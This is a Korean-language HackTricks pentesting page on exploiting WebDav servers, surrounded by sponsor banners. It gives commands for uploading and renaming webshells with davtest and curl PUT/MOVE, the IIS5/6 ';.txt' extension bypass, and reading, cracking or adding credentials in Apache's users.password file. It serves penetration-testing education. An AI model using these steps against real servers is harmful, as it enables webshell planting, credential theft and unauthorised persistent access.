7.9 KiB
WebDav
Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
WebDav가 활성화된 HTTP 서버를 다룰 때, 올바른 자격 증명이 있다면 파일을 조작할 수 있습니다. 이는 일반적으로 HTTP 기본 인증을 통해 확인됩니다. 이러한 서버에 대한 제어를 얻는 것은 종종 웹쉘의 업로드 및 실행을 포함합니다.
WebDav 서버에 접근하려면 일반적으로 유효한 자격 증명이 필요하며, WebDav 브루트포스는 이를 획득하는 일반적인 방법입니다.
파일 업로드에 대한 제한을 극복하기 위해, 특히 서버 측 스크립트 실행을 방지하는 제한이 있는 경우, 다음과 같은 방법을 사용할 수 있습니다:
- 제한이 없으면 실행 가능한 확장자를 가진 파일을 직접 업로드합니다.
- 업로드된 비실행 파일(예: .txt)의 이름을 실행 가능한 확장자로 변경합니다.
- 업로드된 비실행 파일을 복사하고, 그 확장자를 실행 가능한 것으로 변경합니다.
DavTest
Davtest는 다양한 확장자를 가진 여러 파일을 업로드하고 확장자가 실행되는지 확인하려고 합니다:
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
이것은 .txt 및 .html 확장자가 실행되고 있다는 의미가 아닙니다. 이는 웹을 통해 이 파일에 접근할 수 있다는 의미입니다.
Cadaver
이 도구를 사용하여 WebDav 서버에 수동으로 연결하고 업로드, 이동 또는 삭제와 같은 작업을 수행할 수 있습니다.
cadaver <IP>
PUT 요청
curl -T 'shell.txt' 'http://$ip'
MOVE 요청
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
Trickest를 사용하여 세계에서 가장 진보된 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
IIS5/6 WebDav 취약점
이 취약점은 매우 흥미롭습니다. WebDav는 .asp 확장자를 가진 파일을 업로드하거나 이름을 변경하는 것을 허용하지 않습니다. 그러나 이름 끝에 **";.txt"**를 추가하여 우회할 수 있으며, 파일은 .asp 파일처럼 실행됩니다 (대신 ".txt" 대신 **".html"**을 사용할 수도 있지만 **";"**를 잊지 마세요).
그런 다음 ".txt" 파일로 셸을 업로드하고 ".asp;.txt" 파일로 복사/이동할 수 있습니다. 웹 서버를 통해 해당 파일에 접근하면 실행됩니다 (cadaver는 이동 작업이 작동하지 않았다고 말할 것이지만, 실제로는 작동했습니다).
자격 증명 게시
Webdav가 Apache 서버를 사용하고 있다면 Apache에 구성된 사이트를 확인해야 합니다. 일반적으로:
/etc/apache2/sites-enabled/000-default
그 안에는 다음과 같은 내용을 찾을 수 있습니다:
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
보시다시피 webdav 서버에 대한 유효한 credentials가 포함된 파일이 있습니다:
/etc/apache2/users.password
이 유형의 파일 안에는 username과 hash된 비밀번호가 있습니다. 이것들은 웹다브 서버가 사용자를 인증하는 데 사용하는 자격 증명입니다.
당신은 그것들을 crack하거나, 어떤 이유로든 webdav 서버에 access하고 싶다면 더 추가할 수 있습니다:
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
새로운 자격 증명이 작동하는지 확인하려면 다음을 수행할 수 있습니다:
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
References
- https://vk9-sec.com/exploiting-webdav/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}